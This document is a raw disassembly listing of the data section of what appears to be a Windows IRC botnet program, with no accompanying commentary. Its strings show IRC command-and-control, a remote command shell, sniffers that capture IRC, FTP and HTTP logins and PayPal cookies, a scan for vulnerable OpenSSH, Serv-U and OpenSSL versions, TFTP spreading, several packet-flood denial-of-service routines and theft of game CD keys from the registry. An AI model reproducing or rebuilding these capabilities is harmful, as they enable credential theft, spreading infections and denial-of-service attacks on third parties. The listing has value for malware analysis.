aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40EA69+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40EA69+471o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+434o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EA69+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40EA69:loc_40EE2Bo
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40EA69+3BBo
		align 10h
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40EA69+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+330o
					; sub_40EA69+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40EA69+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_40EA69+2E4o
					; sub_40EA69+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40EA69+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_40EA69+290o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_40EA69+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_40EA69+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EA69+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40EA69+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40EA69+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EA69+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40F1D6+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4363AC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F2F7+16Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40F2F7+113o
dword_4363F0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F2F7+BBo
aClientConnecti	db '- client connection from %s:%d.',0
unk_43641C	db  2Dh	; -		; DATA XREF: sub_40F4A2+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start client thread, error: <%d>.',0
unk_436458	db  2Dh	; -		; DATA XREF: sub_40F4A2+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4364A0	db  2Dh	; -		; DATA XREF: sub_40F633+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_31	db 'Failed to start connection thread, error: <%d>.',0
unk_4364E0	db  2Dh	; -		; DATA XREF: sub_40F633+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_436524	db  2Dh	; -		; DATA XREF: sub_40F8B7+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 10h
unk_436550	db  2Dh	; -		; DATA XREF: sub_40F8B7+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_43657C	db  2Dh	; -		; DATA XREF: sub_40F8B7+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F8B7+172o
		align 4
unk_4365B8	db  2Dh	; -		; DATA XREF: sub_40F8B7+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_4365E4	db  2Dh	; -		; DATA XREF: sub_40FABC:loc_40FB01o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
unk_436610	db  2Dh	; -		; DATA XREF: sub_40FB16+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_436648	db  2Dh	; -		; DATA XREF: sub_40FB45+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 10h
unk_436680	db  2Dh	; -		; DATA XREF: sub_40FB45+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_32	db '- Failed to start client thread, error: <%d>.',0
		align 4
unk_4366BC	db  2Dh	; -		; DATA XREF: sub_40FB45+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_436700	db  2Dh	; -		; DATA XREF: sub_40FB45+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_43673C	db  2Dh	; -		; DATA XREF: sub_40FB45+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 10h
unk_436780	db  2Dh	; -		; DATA XREF: sub_40FB45+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_4367AC	db  2Dh	; -		; DATA XREF: sub_40FDCD+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_4367E0	db  2Dh	; -		; DATA XREF: sub_40FDCD+59o
					; sub_40FDCD+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_436828	db  2Dh	; -		; DATA XREF: sub_40FF1E+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_436850	db  2Dh	; -		; DATA XREF: sub_40FF1E+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_436890	db  2Dh	; -		; DATA XREF: sub_40FF1E+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4368D0	db  2Dh	; -		; DATA XREF: sub_410017+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410017+8Co
		align 10h
unk_436910	db  2Dh	; -		; DATA XREF: sub_4100F0+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43694C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+1B2o
aFailedToSta_33	db '- Failed to start server on Port %d.',0
		align 10h
dword_436980	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+18Fo
aFailedToSta_34	db '- Failed to start client thread, error: <%d>.',0
		align 4
dword_4369BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4102C5+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
dword_436A00	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_436A44	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_436A84	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4104CA+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_436AC4	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_41088E+41Co
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41088E+3C4o
		align 10h
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41088E+2CDo
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_410D1A+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_410D1A+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_410D1A+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_410D1A+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_410D1A+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_410D1A+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_410D1A+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_410D1A+84o
a366		db '366 ',0             ; DATA XREF: sub_410D1A+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_410D1A:loc_410D7Co
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_410D1A+4Do
		align 10h
aPsniff		db 'PSNIFF//',0         ; DATA XREF: sub_410D1A+3Co
		align 4
aPsniff_0	db '[PSNIFF]:',0        ; DATA XREF: sub_410D1A+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_410D1A+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_410E31+62o
aOper		db 'oper ',0            ; DATA XREF: sub_410E31+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_410E31:loc_410E71o
					; sub_410EA7+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_410E31+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_410E31+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_410EA7+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_410EA7+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_410EA7:loc_410EF8o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_410EA7+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_410EA7+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_410F2E+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_410F2E+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_410F2E+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_410F2E:loc_410F6Eo
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_410F2E+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_410F2E+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_410FB5+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_410FB5:loc_410FF5o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_410FB5+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_410FB5+5o
		align 4
unk_436C7C	db  2Dh	; -		; DATA XREF: sub_41101A+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436CB4	db  2Dh	; -		; DATA XREF: sub_41101A+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436CEC	db  2Dh	; -		; DATA XREF: sub_41101A+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D20	db  2Dh	; -		; DATA XREF: sub_41101A+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D54	db  2Dh	; -		; DATA XREF: sub_41101A+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436D88	db  2Dh	; -		; DATA XREF: sub_41101A+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_436DB8	db  2Dh	; -		; DATA XREF: sub_41101A+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
unk_436DE4	db  2Dh	; -		; DATA XREF: sub_41140D+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436E0C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_4114BF+302o
		dd 203A726Fh, 6425h
dword_436E28	dd 736F6464h, 6E61722Eh, 6D6F64h ; DATA	XREF: sub_4114BF:loc_4115EBo
dword_436E34	dd 736F6464h, 6B63612Eh, 0 ; DATA XREF:	sub_4114BF:loc_4115CFo
dword_436E40	dd 736F6464h, 6E79732Eh, 0 ; DATA XREF:	sub_4114BF+F1o
unk_436E4C	db  2Dh	; -		; DATA XREF: sub_411854+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_436E98	db  2Dh	; -		; DATA XREF: sub_411854+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 10h
unk_436EE0	db  2Dh	; -		; DATA XREF: sub_411854+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 10h
unk_436F00	db  2Dh	; -		; DATA XREF: sub_411854+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 10h
unk_436F30	db  2Dh	; -		; DATA XREF: sub_411854+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailedRe	db 'socket() failed, returned %d',0
		align 4
unk_436F5C	db  2Dh	; -		; DATA XREF: sub_411C3B+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_436F88	db  2Dh	; -		; DATA XREF: sub_411C3B+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 10h
unk_436FB0	db  2Dh	; -		; DATA XREF: sub_411DC7+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
unk_436FDC	db  2Dh	; -		; DATA XREF: sub_411DC7+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_437004	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_411FDD+48o
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 10h
unk_437030	db  2Dh	; -		; DATA XREF: sub_412180+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_437058	db  2Dh	; -		; DATA XREF: sub_41221C+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_437078	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_412528+4Do
aDoneWithFlood_	db '- Done with flood.',0
		align 4
unk_437098	db  2Dh	; -		; DATA XREF: sub_4127E4+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_4370E8	db  2Dh	; -		; DATA XREF: sub_4127E4+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_437138	db  2Dh	; -		; DATA XREF: sub_4127E4+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
unk_437158	db  2Dh	; -		; DATA XREF: sub_4127E4+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 10h
unk_437190	db  2Dh	; -		; DATA XREF: sub_4127E4+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_4371C4	db  2Dh	; -		; DATA XREF: sub_412D7A+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
unk_4371F8	db  2Dh	; -		; DATA XREF: sub_413078+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_437238	db  2Dh	; -		; DATA XREF: sub_4130EE+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_4372C4	db  2Dh	; -		; DATA XREF: sub_4130EE+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_437328	db  2Dh	; -		; DATA XREF: sub_4130EE+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_437354	db  2Dh	; -		; DATA XREF: sub_4130EE+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437398	db  2Dh	; -		; DATA XREF: sub_4130EE+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_4373E8	db  2Dh	; -		; DATA XREF: sub_4130EE+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_437414	db  2Dh	; -		; DATA XREF: sub_413446+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 10h
aSD		db '%s%d ',0            ; DATA XREF: sub_4135E0+204o
		align 4
dword_437448	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_413AE6+35o
dword_43745C	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_413AE6+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_413B5E+60o
		align 4
dword_437494	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_413BFE:loc_413C33o
dword_4374A8	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_413BFE+20o
dword_4374BC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_413C3F+DCo
		dd 6574656Ch, 0
dword_4374D8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_413C3F+3Fo
		dd 676E6974h, 2	dup(0)
		dd 80000001h
off_4374FC	dd offset aSoftwareValveC ; DATA XREF: sub_413D6E+Cr
					; sub_413D6E+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_437508	dd 2 dup(0)		; DATA XREF: sub_413D6E+26o
		dd 80000001h, 43868Ch, 438680h,	438670h, 2 dup(0)
		dd 80000001h, 438650h, 43864Ch,	438638h, 2 dup(0)
		dd 80000001h, 438614h, 43864Ch,	438608h, 2 dup(0)
		dd 80000001h, 4385E4h, 4385DCh,	4385C8h, 2 dup(0)
		dd 80000001h, 4385B4h, 4385A4h,	438588h, 2 dup(0)
		dd 80000001h, 438544h, 4386CCh,	438530h, 2 dup(0)
		dd 80000002h, 438504h, 4384F8h,	4384D8h, 2 dup(0)
		dd 80000002h, 4384A4h, 4386CCh,	43848Ch, 2 dup(0)
		dd 80000002h, 438458h, 4386CCh,	438440h, 2 dup(0)
		dd 80000002h, 438428h, 4386CCh,	438410h, 2 dup(0)
		dd 80000002h, 4383D4h, 43B9B8h,	4383C4h, 2 dup(0)
		dd 80000002h, 43838Ch, 43B9B8h,	438378h, 2 dup(0)
		dd 80000002h, 43832Ch, 43B9B8h,	43830Ch, 2 dup(0)
		dd 80000002h, 4382BCh, 43B9B8h,	438290h, 2 dup(0)
		dd 80000002h, 438254h, 43B9B8h,	438240h, 2 dup(0)
		dd 80000002h, 438208h, 43B9B8h,	4381F8h, 2 dup(0)
		dd 80000002h, 4381A8h, 43B9B8h,	43817Ch, 2 dup(0)
		dd 80000002h, 43813Ch, 43B9B8h,	438120h, 2 dup(0)
		dd 80000002h, 4380F0h, 43B9B8h,	4380D0h, 2 dup(0)
		dd 80000002h, 438094h, 43B9B8h,	438080h, 2 dup(0)
		dd 80000002h, 438038h, 43B9B8h,	438018h, 2 dup(0)
		dd 80000002h, 437FC4h, 43B9B8h,	437F94h, 2 dup(0)
		dd 80000002h, 437F44h, 43B9B8h,	437F18h, 2 dup(0)
		dd 80000002h, 437ED8h, 437ED0h,	437EB0h, 2 dup(0)
		dd 80000002h, 437E6Ch, 43B9B8h,	437E50h, 2 dup(0)
		dd 80000002h, 437E04h, 43B9B8h,	437DE0h, 2 dup(0)
		dd 80000002h, 437DACh, 43B9B8h,	437DA0h, 2 dup(0)
		dd 80000002h, 437D6Ch, 43B9B8h,	437D60h, 2 dup(0)
		dd 80000002h, 437D2Ch, 43B9B8h,	437D20h, 2 dup(0)
		dd 80000002h, 437CECh, 43B9B8h,	437CE0h, 2 dup(0)
		dd 80000002h, 437CA4h, 43B9B8h,	437C90h, 2 dup(0)
		dd 80000002h, 437C54h, 43B9B8h,	437C40h, 2 dup(0)
		dd 80000002h, 437C10h, 4386CCh,	437BF4h, 2 dup(0)
		dd 80000002h, 437BD4h, 437BCCh,	437BA8h, 2 dup(0)
		dd 80000002h, 437B8Ch, 437BCCh,	437B6Ch, 2 dup(0)
		dd 80000002h, 437B4Ch, 437BCCh,	437B28h, 2 dup(0)
		dd 80000002h, 437B10h, 437BCCh,	437B0Ch, 2 dup(0)
		dd 80000002h, 437AF0h, 437AE0h,	437AD8h, 2 dup(0)
		dd 80000002h, 437AA4h, 4284A8h,	437A8Ch, 2 dup(0)
		dd 80000002h, 437A50h, 437A44h,	437A1Ch, 437A0Ch, 4379F8h
		dd 80000002h, 4379D4h, 4379C8h,	4379B4h, 4379A4h, 43799Ch
		dd 80000002h, 4379D4h, 4379C8h,	437970h, 4379A4h, 437968h
		dd 80000002h, 4379D4h, 4379C8h,	437938h, 4379A4h, 437930h
		dd 6 dup(0)
